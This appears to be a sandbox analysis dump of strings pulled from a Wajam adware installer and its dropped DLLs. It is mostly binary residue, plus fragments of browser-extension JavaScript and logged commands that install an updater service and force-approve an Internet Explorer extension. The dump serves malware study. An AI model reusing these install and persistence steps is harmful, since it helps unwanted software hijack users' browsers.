e.add(method_name,'Error Message: '+e.message);}});});}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);},MD5: function(string) {function RotateLeft(lValue, iShiftBits) {return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits));} function AddUnsigned(lX,lY) {var lX4,lY4,lX8,lY8,lResult;lX8 = (lX & 0x80000000);lY8 = (lY & 0x80000000);lX4 = (lX & 0x40000000);lY4 = (lY & 0x40000000);lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF);if (lX4 & lY4) {return (lResult ^ 0x80000000 ^ lX8 ^ lY8);}if (lX4 | lY4) {if (lResult & 0x40000000) {return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);} else {return (lResult ^ 0x40000000 ^ lX8 ^ lY8);}} else {return (lResult ^ lX8 ^ lY8);}} function F(x,y,z) { return (x & y) | ((~x) & z); }function G(x,y,z) { return (x & z) | (y & (~z)); }functio

Ansi based on Dropped File (priam_bho.dll.1505483275)

E/A-Fehler %dDatei nicht gefundenUngltiger DateinameZu viele geffnete DateienDateizugriff verweigert%Versuch hinter dem Dateiende zu lesenZu wenig SpeicherplatzUngltige numerische EingabeDivision durch NullFehler bei BereichsprfungIntegerberlaufUngltige Gleitkommaoperation{<:y&q?*%fSimpleSC_DateUtils"RTLConstsSystemSysInitSysUtilsKWindowsUTypesSysConstMathWinSvcRLSASecurityControlServiceControlnsisMZ@!L!This program cannot be run in DOS mode.

Ansi based on Dropped File (nsqE177.tmp)

E00E3@Bjj

Ansi based on Dropped File (nsqE177.tmp)

E3@E]Bc$,@Qhd@OEYYRSPhT@mOYYSu=

Ansi based on Dropped File (nsqE177.tmp)

E3}j9]t;sE

Ansi based on Dropped File (nsqE177.tmp)

E8?Z4mK?<x&H#&'1HvE8OvSwdjp^,}>\8K{]6gW:-z=K41Rps({^nuPKhtml/PK%js/PKO,k

Ansi based on Dropped File (nsqE177.tmp)

E;t3{E;tvj^0VuMbE9XfEf;v6;t;vWSV5b*8]tMap_^[;t&;w j"^0:8]tE`pyE;t8]<E`p0MQSWVjMQS]p1A;t9]jM;t0AzP;s;kWSVja[Ujuuuu]USVW3jSSu]]]E#UtYjSSuA#tAu}+;Sj<1AP,1AEuW~L~_^[huAYYE|

Ansi based on Dropped File (nsqE177.tmp)

e;var message = request.message;priam.background.trace.add(method_name,message);response.sendResponse({error:false});},get_url_script: function(request, response){response.sendResponse(priam.background.url.getScript(request.path));},clean_priam_pref: function(request, response){try{priam.background.preferences.cleanPriamPref(request.key);response.sendResponse({error:false});}catch(e){}},get_flag_info: function(request, response){var method_name = 'get_flag_info';try {// URL - Flagvar url = priam.background.url.getFlag();priam.background.util.download(url, function(url, code, content){if (code == 200) {priam.background.ext.onFlagInfoReceived(content);response.sendResponse({error:false});}else {response.sendResponse({error:true});}});}catch(e) {priam.background.trace.add(method_name,'Error Message: '+e.message);}},get_localStorage: function(requ

Ansi based on Dropped File (priam_bho.dll.1505483275)

E=@;tPH;t

Ansi based on Dropped File (nsqE177.tmp)

E?;s9;t*VUtEj

Ansi based on Dropped File (nsqE177.tmp)

E@EPH@#bE3 u?EPH@?E3uE@x

Ansi based on Dropped File (nsqE177.tmp)

E@iuuh@u`@uuh@ud@,@3ZYYdh:@E[]0m/d/yymmmm d, yyyyampmhhh AMPMAMPM :mm:mm:ss%X@S@$;u[Sh@@thP@S@=@u

Ansi based on Dropped File (nsqE177.tmp)

E@UuEERuEEPguEEPTuE3ZYYdh@EE]UUEE3Uh@d0d 3Ejjh@+E}jEPEPE}EPE}h@h@$P&E}tnEPjjjEPUuOtzuEEEEPEPEPjEPUtEUytEEtEtEEPrwtEEPdtEEPQtE3ZYYdh@EE]QueryServiceConfig2Aadvapi32.dllUUEE43Uh@d0d 3E3Ejjh@E}jEPEPuE}vzEPjEPEPauP|szuFEEEPEPEPEP3tEUR>sEE,sEEPsEEPsE3ZYYdh@EdE]UMUEE

Ansi based on Dropped File (nsqE177.tmp)

E]EP0YEuE@u9EtME+tCHt(Ht j^0MEtEuE@UEjY+t7+t*+t+t@u9UEEEE]E#W;3t(;t$;t=tT=u-ETEKEB=t4=t$;t)j^0_^[EEEEt

Ansi based on Dropped File (nsqE177.tmp)

E_^[Y]SVWU}};+$;@u8$)@$@=@L$@$)@3u

Ansi based on Dropped File (nsqE177.tmp)

E_APP~1.EXE

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

e_eX,fV9[n3-b}***;;;jjjqqqooopppyyyPPPJJJMMMuuuooorrrkkk^^^ggg;;;tttTTT___qqqlllmmmTTT444kkkjjj222777tttJJJrrrcccwwwYYYUUUwwwdddGGGvvvlll333KKKNNN$$$&&&LLLRRRKKK}'YnUit(IIHHHHHHHHHHHHHHHHHHHHHHHHHFFHHHHHHHHHHHHHHHHHI=Sv++++++~)9=tX{$++++++++pdpTdzUL.dh_aZmc;SbWh6svQ`~@@@gggkkk+++555MMMnnnkkkTTT(((JJJJJJ999jjjkkkggg---QQQVVVtttTTTMMM)))ppppppsss>>>MMMsss222777(((SSSeeexxxRRRQQQSSSGGGwww___---mmm &&&LLLSSSyyyeeemmmgR{tz~(z#v-IFGGGGGGGGGGGGGGGGGGGGGGGGCCBEFGGGGGGGGGGGGGGGG>Y+.00000|%Y[~)0000000-~*vQYhy lYegee`JkY3V[ettz"sW_Zh9_ffefeZ;;;DDDffftttXXX)))uuuhhhGGG$$$,,,!!!qqqPPP^^^zzzzzzQQQ888...777kkkzzzrrrHHH@@@<<<tttvvv"""fffEEElll000&&&LLLIIIIII\WqzkaZ]w.IGHHHHHHHHHHHHHHHHHHHHHHHBF|KEHHHHHHHHHHHHHHHH?YC044444+_-4444444.Ov_z#DTToPm

Ansi based on Dropped File (nsqE177.tmp)

ea>Cp:!R&

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ease wait while Setup is loading...

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

EBuu?vE?EuEuuPUE;tV;|BMx

Ansi based on Dropped File (nsqE177.tmp)

EConvertErrorY@Y@S@l-@x-@|-@-@t-@8,@T,@p,@EAccessViolation@tY@tY@S@l-@x-@|-@-@t-@8,@T,@p,@

Ansi based on Dropped File (nsqE177.tmp)

ected heap error

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

ected multithread lock error

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

Ed>FQ>u+]CPEPPF+B@PVPTPPttVP0S@=U\+HPP@PP@>VEPPEPE_^[]kernel32.dllGetLongPathNameAUSVEhPj?EEPhjhH@hyt@EPhjhH@h[t"EPhjhH@h=3UhuG@d0d EEPEPjjPEPt"EPEPjjhH@EPtEE3ZYYdh|G@EPhEPPwjEPjRP$3}u

Ansi based on Dropped File (nsqE177.tmp)

EDEE$?EPpEF

Ansi based on Dropped File (nsqE177.tmp)

EDivByZeroU@U@T@l-@x-@|-@-@t-@8,@T,@p,@ERangeErrorU@U@T@l-@x-@|-@-@t-@8,@T,@p,@EIntOverflow@HV@HV@S@l-@x-@|-@-@t-@8,@T,@p,@

Ansi based on Dropped File (nsqE177.tmp)

edOut,priam.listener.on_just_logged_out,true);document.removeEventListener( priam.Config.event_name.bmAutoSyncOn,priam.listener.on_bm_auto_sync_on,true);document.removeEventListener( priam.Config.event_name.bmAutoSyncOff,priam.listener.on_bm_auto_sync_off,true);document.removeEventListener( priam.Config.event_name.clear_mapping_list,priam.listener.on_clear_mapping_list,true);}}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);},on_bm_auto_sync_off: function(e) {var method_name = 'on_bm_auto_sync_off';// Developer Flag debug_show_eventsvar debug_show_events = prefs['debug_show_events'];if (debug_show_events == 'true') {priam.ext.show('(debug_show_events)\n'+'Event: \''+priam.Config.event_name.bmAutoSyncOff+'\'');}priam.Events.onEventBmAutoSyncOff(e);},on_bm_auto_sync_on: function(e) {var method_name = 'on_bm_auto_sync_on';// Developer Flag

Ansi based on Dropped File (priam_bho.dll.1505483275)

EdPd5D$+d$SVW(DA3PuEEdPd5D$+d$SVW(DA3PeuEEdPd5D$+d$SVW(DA3PEuEEdPd5D$+d$SVW(DA3PEeuEEdMd

Ansi based on Dropped File (nsqE177.tmp)

eDTX)z]V<VJ`k,'+u#%[9"1cxH*G

Ansi based on Dropped File (nsqE177.tmp)

EEaEEEEMUE)UE

Ansi based on Dropped File (nsqE177.tmp)

EEE3E@}E#=@=tq;yE;nvv+[E3HHGEjjWW6tWWW6

Ansi based on Dropped File (nsqE177.tmp)

EEEjEjEVE<YEESPCSPSSSuEV @3}@u?j#W9WuF}uuuh @P=h@>=}u&jIj@^Puuuh@=}uAhWSu(VWhPg<(Puuuh@<$VWuSuu@u]uuuh@<uuuh\@<@hj3;MEQMVQSPW@3Au4}t9Mt}u#EEE0q639]VE6\MUh7j;9]MtQVPW@SSSMSQVPW@W@g8_V6P/juuP3P9]tjw@3@

Ansi based on Dropped File (nsqE177.tmp)

EEEPSYYt"MxEEPSYYtE39]fD~^_[U}u]S]VuWuu9uu3t}uuuu;v*8CSVh|@uIq8"u]g8TWVh|@h3fL~u}u;8"u'1y3fu"_^[]Uujuuuu]jh@bAu39Eue

Ansi based on Dropped File (nsqE177.tmp)

EEE}u}u]vEE}u}u}t3ZYYdh@EE]@UEE73UhX@d0d 3Ejjhh@E}v;jEPEPE}vEP'EEPE3ZYYdh_@EEE]p@

Ansi based on Dropped File (nsqE177.tmp)

een called

Unicode based on Dropped File (priam_bho.dll.1505483275)

EE} rE_^[D$}@ C

Ansi based on Dropped File (nsqE177.tmp)

EE}u_^[YY]@@UQE3UhI@d2d"E@t3ZYYdhI@E;@uE@@t;UuUuY]tPRPX@tRPRPXuQPtQPSVt={}*hD$PCPLPK

Ansi based on Dropped File (nsqE177.tmp)

EF2BC54BF1F382E5949857

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

egalCopyright

Unicode based on Dropped File (priam_bho.dll.1505483275)

EInOutError,T@

Ansi based on Dropped File (SimpleSC.dll.523064890)

EInvalidOpV@V@U@l-@x-@|-@-@t-@8,@T,@p,@EZeroDividePW@PW@U@l-@x-@|-@-@t-@8,@T,@p,@EOverflowW@W@U@l-@x-@|-@-@t-@8,@T,@p,@

Ansi based on Dropped File (nsqE177.tmp)

EInvalidPointer\X@

Ansi based on Dropped File (SimpleSC.dll.523064890)

eKeyTransactedW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

else {response.sendResponse({error:true});}});},build_url: function(request, response){response.sendResponse(priam.background.url.build(request.url, request.param));}};})();function priamBookmarkAddedOrModified(url, title) {var method_name = 'priamBookmarkAddedOrModified';var str = 'priamBookmarkAddedOrModified';try {//PROCESS ONLY IF USER IS LOGGEDpriam.Preferences.get( 'logged', function(response) {var isLogged = response.value;if( isLogged === null ){isLogged = 'false'; }if (isLogged == 'true') {str += priam.Trace.add(method_name,'isLogged: ' + isLogged);priam.Preferences.get( 'bmAutoSync', function(response) {var bmAutoSync = response.value;str += priam.Trace.add(method_name,'bmAutoSync: ' + bmAutoSync);if (bmAutoSync == '1') {// URL - Add bookmarkvar urlAdded = priam.Url.getAddedBookmark(title,url);// Developer Flag debug_show_bookmarks

Ansi based on Dropped File (priam_bho.dll.1505483275)

Em`$R/bFZ%vpsDwMat@.{<%_

Ansi based on Dropped File (nsqE177.tmp)

EMathErrorV@V@U@l-@x-@|-@-@t-@8,@T,@p,@

Ansi based on Dropped File (nsqE177.tmp)

embly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel> </requestedPrivileges> </security> </trustInfo></assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

Ansi based on Dropped File (priam_bho.dll.1505483275)

empt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

EmptyClipboard

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

EMUE-UE3ZYYdh@E#mEmf]Ujj3Uh@d0d EPMUEEEUE

Ansi based on Dropped File (nsqE177.tmp)

en-`3|;*Ja`/7'2]7v=e_Lj){)8g0t"M0D?[x*HlH|AtK/LM6[}d_3eCdAg<Jj,e|m#5CVxe

Ansi based on Dropped File (nsqE177.tmp)

EnableAutoProxyResultCache

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

EnableHttp1_1

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

EnableHttpTrace

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

EnableMenuItem

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

EnableNegotiate

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

EnableWindow

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

EncodePointer

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

EndDialog

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

eNfNcb1,cctY5~d4Xj.FZvX;oC}Y9\>7;s"u[&~An+{=>rO^w_D'LapQWhv

Ansi based on Dropped File (nsqE177.tmp)

EnterCriticalSection

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

EnumWindows

Ansi based on Dropped File (ExecCmd.dll.1695374911)

EP@jVVEjPu_^=BVu-3j^ 3NuBA|T$D$v#L$W934B3AJu_^UDESVWp@MEE;Ms+H+E$o@}EMEErEm.HtVHtHH]EMEAEMPM_^[=@BeB=B~=B}= B}=@B|EBPhBh@hBh@h@hh WjYjXEPhBh@hBhP@h@jjhBM@B@F@FBFBF&<m+'}-EMEErE3%];Fj

Ansi based on Dropped File (nsqE177.tmp)

EPE}u]vEE}u}tEE3ZYYdh@EEEiE]UMUEE3Uh@d0d 3EEEE-$ERP;]\UEE}uE;EuEh

Ansi based on Dropped File (nsqE177.tmp)

EPrivilegeY@Y@S@l-@x-@|-@-@t-@8,@T,@p,@EStackOverflow(Z@(Z@S@l-@x-@|-@-@t-@8,@T,@p,@EControlCZ@Z@hR@l-@x-@|-@-@t-@8,@T,@p,@

Ansi based on Dropped File (nsqE177.tmp)

EPXEu~YPE}EEP{PyPwP[Z^XYQMEE<uMEEEYEMuHXU%<@%D@]^_[]USWVEPPYX44uZuMM@M@P@L@u0ZXU%D@%<@]^_[]%P@5X@j@0t$P0\@Vt/0t)WFPW0

Ansi based on Dropped File (nsqE177.tmp)

EpY38EewXUMVuy|QI42^]U3;u

Ansi based on Dropped File (nsqE177.tmp)

ernalName

Unicode based on Dropped File (priam_bho.dll.1505483275)

Error code = 0x%lX

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

Error FTP path (550)

Ansi based on Dropped File (inetc.dll.1181384010)

Error launching installer

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Error registering DLL: %s not found in %s

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Error registering DLL: Could not initialize OLE

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Error registering DLL: Could not load %s

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Error writing temporary file. Make sure your temp folder is valid.

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ERROR: --End-- missing

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: bad keysize, length MUST be even!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

Error: failed to access registry key with KEY_ALL_ACCESS permissions

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

Error: failed to set registry binary value!

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

ERROR: FileSize too big!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: GetFileSize Failed!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: GetFileSize of KeyFile Failed!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: HexDecode: hex encoded string length NOT even!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: HexDecode: invalid (non hex) character in string!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: HexDecodeFile: Invalid file size!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: HexDecodeStr: Invalid string size!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: HexEnccodeStr: Invalid string size!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: HexEncode: string length == 0!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: HexEncodeFile: Invalid file size!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: HexEncodeStr: Invalid string size!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: Input buffer length NOT EVEN, unexpected!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

Error: invalid CLSID: %s

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

ERROR: invalid parm: Decrypt function expected!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: invalid parm: HexDecoder function expected!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: invalid parm: HexEncoder function expected!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: invalid parm: MD5Hash function expected!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

Error: invalid SID:'%s'

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

ERROR: Key String too big!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: LoadStr: Invalid file size!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: MD5 Hash: No String!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: Open In_File Failed!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: Open Key_File Failed!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: Open Out_File Failed!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: Processing Key File, key too big!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: Reading File

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: Reading File!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: Reading Key File!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: string too large to Hex Encode!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: writing File

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: Writing File!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: wrong # parms, Input FileName expected!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: wrong # parms, KEY expected!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: wrong # parms, Output FileName expected!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: wrong # parms, String expected!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: wrong # parms: Decrypt function expected!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: wrong # parms: HexDecoder function expected!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: wrong # parms: HexEncoder function expected!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ERROR: wrong # parms: MD5Hash function expected!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

ers\HAPUBWS\AppData\Local\Temp\nskE156.tmp

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

ESR: ------------------------------------------------------------

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

essfully!

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

EU)xEEPxEEPxE3ZYYdh@EaE]UUEE3Uh@d0d 3E3Ejjh@jE}jEPEPQE}vzEPjEPEP=uPXwzuFEEEPEPEPEPtEURwEEswEEPvEEPuvE3ZYYdh@E@E]UUEE3Uh@d0d 3E3Ejjh(@FE}jEPEP-E}vwEPjEPEPuM4vzuCEkEEPEPEPEPt

Ansi based on Dropped File (nsqE177.tmp)

EuFP3NEM9]uS 9]t#9]tPSSe_SPPWm2P9]tCM9

Ansi based on Dropped File (nsqE177.tmp)

EUnderflowX@X@R@l-@x-@|-@-@t-@8,@w@p,@EInvalidPointer\X@\X@hR@l-@x-@|-@-@t-@8,@T,@p,@EInvalidCast@X@X@hR@l-@x-@|-@-@t-@8,@T,@p,@

Ansi based on Dropped File (nsqE177.tmp)

EUvyEEP#yE3ZYYdhP@ETE]UUEE3Uh@d0d 3EEE@Ejjh@E}v>EPEPE_PEPt

Ansi based on Dropped File (nsqE177.tmp)

EUxEEPcxE3ZYYdh@E.E]UUEE3Uh@d0d 3Ejjh@;E}v^jEPEP&E}v.EPEP t

Ansi based on Dropped File (nsqE177.tmp)

EVariantErrorZ@Z@hR@l-@x-@|-@-@t-@8,@T,@p,@EAssertionFailed@<[@<[@hR@l-@x-@|-@-@t-@8,@T,@p,@EAbstractError[@[@hR@l-@x-@|-@-@t-@8,@T,@p,@EIntfCastError[@[@hR@l-@x-@|-@-@t-@8,@T,@p,@ESafecallException\@.34@H@SysUtils0\@.44@H@SysUtils$SlX@[SVWVWlX@_^[SVa3^[@SVWU]C;|| v;}

Ansi based on Dropped File (nsqE177.tmp)

eVD*zW\aU7kY+Oa-,bU<OV^j'6w`

Ansi based on Dropped File (nsqE177.tmp)

EventMessageFile

Unicode based on Runtime Data (WajamUpdater.exe )

EVP1YYM_^3[UE8csmu*xu$@= t=!t="t=@u3]h@p1A3A3u(BA wft(t"u3f wfuV5hAW3uf=tGVYtFfuSjGWdYYAue5hA5Vf>=Yxt"jW1YYtAVWPOuI4~f>u5hA%hA#A3Y[_^5A%A3PPPPPUQV3W}9UtME1f8"u}3j"Ytffft;uf tfut3fNe3f9 tu

Ansi based on Dropped File (nsqE177.tmp)

ew|Qw<cw|Qw<dw|Qw<WajamUpdateLibWW>Created by MIDL version 7.00.0555 at Mon Jan 16 10:17:18 2012

Ansi based on Dropped File (nsqE177.tmp)

EX?EEPSj?Epjh0ASut9]uE@X?E@E}8}8}8EY9]jVj@}7?E>-uEFVEYiE<+t<0|<9F3uj$Y>:u8FVDYk<E<9F<0}>:uFVDYE<9F<0}9]t]E;tjVj@wDt

Ansi based on Dropped File (nsqE177.tmp)

ExAnwd"+LhDF ~O^`' Z4Bv'4COr#Dt4GOt4HA</!iHH3

Ansi based on Dropped File (nsqE177.tmp)

Exch: stack < %d elements

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Exec: command=""%PROGRAMFILES%\Internet Explorer\iexplore.exe" "http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=""

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Exec: command=""%PROGRAMFILES%\Wajam\Updater\WajamUpdater.exe" /Service"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Exec: command="%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Exec: failed createprocess ("%s")

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Exec: success (""%PROGRAMFILES%\Internet Explorer\iexplore.exe" "http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp="")

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Exec: success (""%PROGRAMFILES%\Wajam\Updater\WajamUpdater.exe" /Service")

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Exec: success ("%s")

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ExecCmd.dll

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

ExecMethod failed.

Ansi based on Dropped File (IpConfig.dll.3460457498)

ExecShell: success ("%s": file:"%s" params:"%s")

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ExistsService

Ansi based on Dropped File (SimpleSC.dll.523064890)

ExitProcess

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ExitThread

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

ExitWindowsEx

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ExpandEnvironmentStringsA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Ey_^[Y]U3QQQQQQSVW3Uho@d0d GEh@@UjEP@@JCDHyYU

Ansi based on Dropped File (nsqE177.tmp)

EYUEADP0A]jheASM3}jYuajY}}@;4AuA;Fu[~u8j

Ansi based on Dropped File (nsqE177.tmp)

EZeroDividePW@

Ansi based on Dropped File (SimpleSC.dll.523064890)

E}EPEPjEPjEPEE@EEPEPEPEPjEP@E}tH}vBEvCEEEUwEM3E}uE$EMu|E}t}t}u0EPjEPtMEfE@|EEP-|EEP|E}"EtUEE3ZYYdh@EEVE[]UUEE3Uh@d0d jjh@hE}vkj@EPEPSE}v;EPjEPtMEoEI{EEP6{EEP#{E3ZYYdh@EE]UUEE03Uh@d0d jjh@E}vkj@EPEPE}v;EPjEP'tMEEuzEEPbzEEPOzE3ZYYdh@EE]UUEE\3UhI@d0d 3EEE@EjjhX@E}v>EPEPEPEPmt

Ansi based on Dropped File (nsqE177.tmp)

F2Ay\A^y2AtItQ(1AUujq,1A]U}tujq01A]U39Euu!9EuuP3uuPq41A]Uujq81A]UVSEtV.Y^]UI]`3ABAUEV3AtVY^]UEM+;s]M3]UVuWuEVPx6uEjPx!OutN`8@p3_^]UVuWuEVP:x-uEjPBxuOuPtNp3_^]U];

Ansi based on Dropped File (nsqE177.tmp)

f99UtME13G3Bf8\tf8"u8u}tfx"u

Ansi based on Dropped File (nsqE177.tmp)

F:J4{Ym%lzeTuJJ{S&\otQfhH><pO

Ansi based on Dropped File (nsqE177.tmp)

f;/;n:YRU11?:_eeeeeeedbUp_gphff[:li[_o[^^^dWv~Yasc]eeee_J7pwePev-[u]EN2`da`wcm8Z\_bI_ebuc3Y\`t,o[^^_cY~vUIJ[y!f`Wq`e_|(m|&8KW^ZqE_ebl

Ansi based on Dropped File (nsqE177.tmp)

F;7|'QjuRYYEPME\AhkAEPE\Aucsm9>~F;t=!t="}EPEPuu WQM;Mx}MGE9;OEGE~rF@XE~#vPuEuM9EME}.u$}u ]uEuuuVuu}EE};EP}}t

Ansi based on Dropped File (nsqE177.tmp)

f>}((;L+*RC"vi"3I/Do|y#Cyu&>^|>ln?uZ#

Ansi based on Dropped File (nsqE177.tmp)

f@,_&s:e#Gv6

Ansi based on Dropped File (nsqE177.tmp)

